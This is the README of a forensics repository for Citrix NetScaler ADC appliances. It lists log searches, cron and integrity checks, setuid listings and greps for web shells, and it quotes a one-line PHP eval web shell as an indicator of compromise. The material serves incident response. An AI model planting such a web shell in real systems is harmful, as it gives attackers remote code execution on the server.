Skip to content

Latest commit

 

History

History
160 lines (123 loc) · 5.59 KB

README.md

File metadata and controls

160 lines (123 loc) · 5.59 KB

Citrix Netscaler Forensics

This repository provides a comprehensive list of commands & artifacts to search for while performing a forensic investigation on Citrix Netscaler appliances. Contributions are welcome.

Table Of Contents

Automated Script

I've made a small shell script which acts as a wrapper around these commands. You can, if you want to automate the process (although I still recommend to double check manually), run the script directly on the ADC appliance.

curl -o citrix-adc-forensics.sh https://raw.githubusercontent.com/B0lg0r0v/citrix-netscaler-forensics/main/citrix-adc-forensics.sh
chmod +x citrix-adc-forensics.sh
./citrix-adc-forensics.sh

This will generate a forensics folder in your current working directory.

Manual Forensics

Generally located log files:

/var/log/*

Failed authentication attempts

zcat /var/log/ns.log.*.gz | grep "Authentication is rejected" | awk '{$1=$2=$3=$4=$5=$6=$7=$8=""; print $0}' | sort | uniq -c | sort -nr

SSH logs

zcat /var/log/auth.log.*.gz | grep -i "sshd" | grep -i "accepted password" | awk '{$1=$2=$3=$4=$5=$6=$7=$8=""; sub(/^[[:space:]]+/, ""); print "Accepted password for " $0}' | uniq -c | sort -nr

Search for suspicious commands

curl
hostname
uname
nobody
whoami
id

Search for suspicious activity in the http logs

/var/log/httpaccess.log
/var/log/httperror.log

Look for suspicious files in these directories. Payloads are often placed here.

/netscaler/portal/templates
/var/tmp/netscaler/portal/templates

Look for processes and child processes

ps aux
ps aux | grep nobody

Look for cronjobs and also the cron history

crontab -l -u nobody
crontab -l -u nsroot
crontab -l -u root

/var/log/cron

Look for unauthorized modifications to the crontab file and/or existence of suspicious files in /var/cron/tabs and other locations

find / -type f -name “res*” | grep -E ‘res($|\.[a-z]{3})$’

Check the file integrity with a md5 sum. Compare them with a 100% secure ADC.

cd /netscaler ; for i in “nsppe nsaaad nsconf nsreadfile nsconmsg”; do md5 ${i} ; done

Check for APT5 techniques. This should provide no output. If yes, potential compromise.

procstat –v $(pgrep –o –i nsppe) | grep “0x10400000 “ | grep “rwx”

Check for unusual administrator activity. You can look for the pb_policy in the ns.log file.

Example:

<local0.info> [hostname] pb_policy: Changing pitboss policy from X to Y
<local0.info> [hostname] pb_policy: Changing pitboss policy from Y to X

X & Y are constant values for you system

Check for potential PHP WebShells

/var/netscaler/logon/LogonPoint/uiareas/[FILE].php


content could be something like this:
<?php http_response_code(201); @eval($_POST[5]);

Look out in the httpaccess.log file for POST requests for the /logon/LogonPoint URL

Commmand1

fgrep -a -e http_response_code -e '$_POST' -r /var/netscaler/ | fgrep -v -e '/var/netscaler/gui/admin_ui' -e '/netscaler/websocketd' -e '/netscaler/ns_gui/admin_ui'

Command2

fgrep -a -e http_response_code -e '$_POST' -r /var/vpn/ | fgrep -v -e' /var/netscaler/gui/admin_ui' -e '/netscaler/websocketd' -e '/netscaler/ns_gui/admin_ui'

Command3

fgrep -a -e http_response_code -e '$_POST' -r /netscaler/ | fgrep -v -e '/var/netscaler/gui/admin_ui' -e '/netscaler/websocketd' -e '/netscaler/ns_gui/admin_ui'

Check for php files excluding folders that have PHP files from them by default

find / -type f -name *.php* -not -path "/var/netscaler/gui/admin_ui/*" -not -path "/netscaler/websocketd/*" -not -path "/netscaler/ns_gui/admin_ui/*"

Search for setuid binaries. This is a setuid Privilege Escalation technique.

find / -perm -4000 -user root -exec ls -lc {} \;

normal files which have the setuid bit set

-r-sr-xr-x 1 root wheel 27872 Jul 10 18:24 /netscaler/ping   
-r-sr-xr-x 1 root wheel 32656 Jul 10 18:24 /netscaler/ping6   
-r-sr-xr-x 1 root wheel 31844 Jul 10 18:24 /netscaler/traceroute  
-r-sr-xr-x 1 root wheel 24784 Jul 10 18:24 /netscaler/traceroute6   
-r-sr-xr-- 1 root operator 10584 Jul 10 18:09 /sbin/mksnap_ffs   
-r-sr-xr-- 2 root operator 15936 Jul 10 18:09 /sbin/shutdown   
-r-sr-xr-- 2 root operator 15936 Jul 10 18:09 /sbin/poweroff   
-r-sr-xr-x 1 root wheel 34352 Jul 10 18:09 /usr/bin/crontab   
-r-sr-xr-x 1 root wheel 11632 Jul 10 18:09 /usr/bin/lock   
-r-sr-xr-x 1 root wheel 24552 Jul 10 18:09 /usr/bin/login   
-r-sr-xr-x 1 root wheel 9736 Jul 10 18:09 /usr/bin/passwd   
-r-sr-xr-x 1 root wheel 16408 Jul 10 18:09 /usr/bin/su   
-r-sr-xr-x 1 root wheel 74008 Jul 10 18:09 /usr/libexec/ssh-keysign

Launch the THOR APT Scanner

@Neo23x0 a.k.a Florian Roth did a pretty good guide on how to use the free version of the THOR APT Scanner to scan the Citrix ADC.

Follow the link: https://www.nextron-systems.com/2020/01/14/automated-citrix-netscaler-forensic-analysis-with-thor/

References

2024-01-26, https://trustedsec.com/blog/netscaler-remote-code-execution-forensics
2024-01-26, https://www.mandiant.com/resources/blog/session-hijacking-citrix-cve-2023-4966
2024-01-26, https://support.citrix.com/article/CTX227560/citrix-adc-logs-collection-guide
2024-01-26, https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-201a
2024-01-26, https://www.nextron-systems.com/2020/01/14/automated-citrix-netscaler-forensic-analysis-with-thor/
2024-01-26, https://media.defense.gov/2022/Dec/13/2003131586/-1/-1/0/CSA-APT5-CITRIXADC-V1.PDF